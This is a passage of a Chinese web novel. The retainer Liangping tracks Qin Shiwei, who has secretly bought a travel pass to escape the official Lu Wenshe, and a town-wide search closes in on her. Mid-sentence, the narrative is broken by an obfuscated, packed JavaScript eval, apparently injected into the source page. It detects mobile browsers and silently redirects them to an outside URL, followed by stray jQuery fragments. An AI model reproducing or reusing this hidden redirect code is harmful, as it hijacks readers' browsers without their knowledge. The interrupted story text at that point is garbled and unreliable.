“去抓她。” 他愣了愣,随即明白过来。 好一个黑心的小娘子。 待吩咐人守好主子,他就去了三洞村。 早已空无一人。 他转身出了屋,在村子里转了一圈,问了几户早起的人家。有人说,看见她天不亮就往村口去了,上了安婶的牛车。有人说,听见她说要去县衙当差。 当什么差?分明是要跑。 他立刻往县城赶。天还没亮,路上一个人都没有,他走得飞快,心里只有一个念头——得在她出城之前截住她。 他脑子飞快地转着。她要去哪儿?她会找谁帮忙?这县城里,能帮她办路引的,只有一个人—— 孔大财。 他转身就往孔大财家跑。 可惜来得晚了。 良平转身推开孔大财的门。 孔大财正在屋里数银子,见门被猛地推开,一个冷面年轻人闯了进来,吓得手一抖,银子滚了一地,脸色瞬间煞白:“你、你是谁?竟敢私闯民宅!我可是县衙户房的掌案!” 良平看着他,面无表情:“方才那女子,找你办了什么?” 孔大财 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341499|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他的眼神吓得魂飞魄散,张了张嘴,还想狡辩,可对上良平那双冰冷的、带着杀意的眼睛,所有的话都堵在了喉咙里,一个字也说不出来,只能哆哆嗦嗦地交代:“……路、路引。去句州的路引。她给了我银子,求我帮她办的……” 良平的眉头,骤然皱起,他不再多言,转身就走,留下孔大财瘫坐在地上,看着那一地银子,欲哭无泪,心底只有一个念头——完了,这下闯大祸了。 良平出了巷子,往街口望了望,已经看不见秦式微的身影,他咬了咬牙,立刻抓了个准备上工的衙役:“快,去禀报陆大人,说那人私办了去句州的路引,如今往西门方向去了!” 衙役虽不解,但应了一声,转身就往县衙方向飞奔而去,脚步飞快。 他自己则立刻往西门方向追去,心底暗忖,定要把秦娘子抓回来,否则,主子定要大怒。 方才在孔大财那儿耽搁了片刻,天已大亮,街上的人渐渐多了起来,小贩的吆喝声,行人的说话声,交织在一起,热闹非凡。 秦式微混在人流里,低着头,看似往西门走,实则走了几步,便拐进了旁边一条小巷,七拐八绕,又迅速折向东——句州在西北,走官道要出西门,可她压根没打算去句州,那不过是她用来迷惑陆闻涉的障眼法。 她只想先躲一阵子,陆闻涉是郡上的通判,不可能一直待在这小县城里,等他走了,她再另做打算,总之,离他越远越好。 巷子窄而深,两边是高高的土墙,墙头上爬着枯藤,风吹过,枯藤摇曳,发出沙沙的声响。她走得飞快,脚步声在巷子里回响,一声一声,心逐渐稳下来。 出了巷子,是一条稍宽的街,街口有个卖炊饼的摊子,热气腾腾的,几个妇人正围着买,吵吵嚷嚷的,正好掩人耳目。秦式微进了个茶馆,还没等到茶上来,忽然听见外头传来一阵急促的、整齐的脚步声,由远及近,带着一股肃杀之气。 不是一个人,是许多人。 一队衙役,手持刀棍,从街那头飞奔而来,杀气腾腾,将整条街道都堵得水泄不通。为首的,正是本该去西门的良平,他站在街口,目光四下扫视。 秦式微心头一跳,迅速收回目光,低下头,直接出了茶馆后门,躲进旁边一条更窄、更偏僻的巷子里,背紧紧贴着冰冷的土墙,屏住呼吸,连大气都不敢喘。 她听见外头传来良平的声音,不高不低,却带着不容置喙,清清楚楚地落进每个人的耳朵里:“奉陆大人命,搜抓逃犯!凡有可疑女子,一律拿下,不得有误!” 逃犯? 多大仇多大怨啊? 她前脚刚走,他后脚就追来了,竟还假借抓逃犯的名义,满城搜捕她。这法子,当真是又快又狠,名正言顺,让她插翅难飞。 她心里头飞快地盘算着,西门、北门,定然都被他派人守住了,东门和南门,想必也布下了天罗地网,她如今,就是瓮中之鳖。 可越是这样,越不能慌。 她深吸一口气,贴着墙,一步一步往巷子深处挪。这条巷子极窄,只容一人通过,两边是高墙,没有岔路。她走了几十步,忽然听见前头传来脚步声。 她猛地停住,屏住呼吸,侧耳细听。 是靴子踩在青石板上的声音。 一下,一下,不紧不慢。 秦式微的心跳,几乎停了一拍。 她慢慢抬起头,往巷子那头望去。